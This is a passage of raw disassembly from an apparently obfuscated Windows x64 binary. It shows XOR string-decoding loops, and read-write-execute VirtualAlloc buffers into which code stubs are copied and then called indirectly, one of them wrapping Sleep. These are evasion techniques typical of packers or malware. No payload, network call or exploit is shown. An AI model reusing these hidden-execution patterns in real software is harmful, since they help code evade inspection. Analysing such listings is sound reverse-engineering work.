psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
movdqa xmm1, xmm5
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x74]
xorps xmm2, xmm1
movd dword [rsp + 0x74], xmm2
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x70]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xb37072d7
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub cl, r8b
lea eax, [r9 + 0x29]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xc
jl 0x140023850
lea rax, [rsp + 0x70]
mov qword [rsp + 0x160], rax
lea rcx, [rsp + 0x170]
call fcn.140002520
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002530
nop
mov ecx, esi
mov rax, qword [0x1400418b0]
test rax, rax
je 0x140023909
mov rdx, rsi
nop dword [rax]
cmp rax, r12
je 0x1400238f8
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x418b0]
test rax, rax
jne 0x1400238e0
jmp 0x140023909
mov r8, qword [r15 + rdx*8 + 0x40280]
test r8, r8
jne 0x1400239ef
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140023932
mov r8, rsi
jmp 0x1400239ce
mov rax, r12
mov rcx, r8
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140023940
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140040c00]
mov qword [r15 + rax*8 + 0x418b0], r12
mov qword [r15 + rax*8 + 0x40280], r8
inc rax
mov qword [0x140040c00], rax
lea rdx, [rsp + 0x160]
lea rcx, [0x1400015e0]
call r8
nop
mov rcx, qword [rsp + 0x178]
xor rcx, qword [rsp + 0x170]
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x140036e10]
mov dword [rsp + 0x78], eax
movzx eax, word [0x140036e14]
mov word [rsp + 0x7c], ax
movzx eax, byte [0x140036e16]
movsd xmm0, qword [0x140036e08]
mov byte [rsp + 0x7e], al
movsd qword [rsp + 0x70], xmm0
mov r9d, esi
cmp edi, 2
jl 0x140023bd4
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400373a0]
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm13, xmm0
andps xmm13, xmm14
packuswb xmm13, xmm13
packuswb xmm13, xmm13
paddb xmm1, xmm13
mov eax, dword [0x140037370]
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x140036e08]
xorps xmm1, xmm0
movd dword [rsp + 0x70], xmm1
movdqa xmm5, xmmword [0x140037310]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400373a0]
movdqa xmm2, xmm5
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm5, xmm0
andps xmm5, xmm14
packuswb xmm5, xmm5
packuswb xmm5, xmm5
paddb xmm2, xmm5
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x74]
xorps xmm2, xmm1
movd dword [rsp + 0x74], xmm2
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x70]
add r10, rax
nop
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xb37072d7
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub cl, r8b
lea eax, [r9 + 0x29]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xf
jl 0x140023be0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x160], rax
lea rcx, [rsp + 0x170]
call fcn.140002520
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002530
nop
mov ecx, esi
mov rax, qword [0x1400418b0]
test rax, rax
je 0x140023c99
mov rdx, rsi
nop dword [rax]
cmp rax, r12
je 0x140023c88
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x418b0]
test rax, rax
jne 0x140023c70
jmp 0x140023c99
mov r8, qword [r15 + rdx*8 + 0x40280]
test r8, r8
jne 0x140023d7f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140023cc2
mov r8, rsi
jmp 0x140023d5e
mov rax, r12
mov rcx, r8
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140023cd0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140040c00]
mov qword [r15 + rax*8 + 0x418b0], r12
mov qword [r15 + rax*8 + 0x40280], r8
inc rax
mov qword [0x140040c00], rax
lea rdx, [rsp + 0x160]
lea rcx, [0x1400015e0]
call r8
nop
mov rcx, qword [rsp + 0x178]
xor rcx, qword [rsp + 0x170]
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
mov dword [rsp + 0x148], 0x3e8
lea rcx, [rsp + 0x170]
call fcn.140002520
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002530
nop
mov ecx, esi
mov rax, qword [0x140041260]
lea rbx, [0x1400275b0]
test rax, rax
je 0x140023e1c
mov rdx, rsi
cmp rax, rbx
je 0x140023e0b
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x41260]
test rax, rax
jne 0x140023df3
jmp 0x140023e1c
mov r10, qword [r15 + rdx*8 + 0x42ba0]
test r10, r10
jne 0x140023eff
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x140023e45
mov r10, rsi
jmp 0x140023ede
mov rax, rbx
mov rcx, r10
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r13, 1
jne 0x140023e50
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400418a0]
mov qword [r15 + rax*8 + 0x41260], rbx
mov qword [r15 + rax*8 + 0x42ba0], r10
inc rax
mov qword [0x1400418a0], rax
lea rdx, [rsp + 0x148]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r10
nop
mov rcx, qword [rsp + 0x178]
xor rcx, qword [rsp + 0x170]
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
mov qword [0], rsi
lea rcx, [rsp + 0x200]
call fcn.140026020
nop
lea rcx, [rsp + 0x258]
call fcn.140026020
nop
mov rcx, qword [rsp + 0x248]
xor rcx, qword [rsp + 0x240]
mov rax, qword [rsp + 0x250]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x1610]
xor rcx, rsp
call fcn.140031320
lea r11, [rsp + 0x16c0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
ret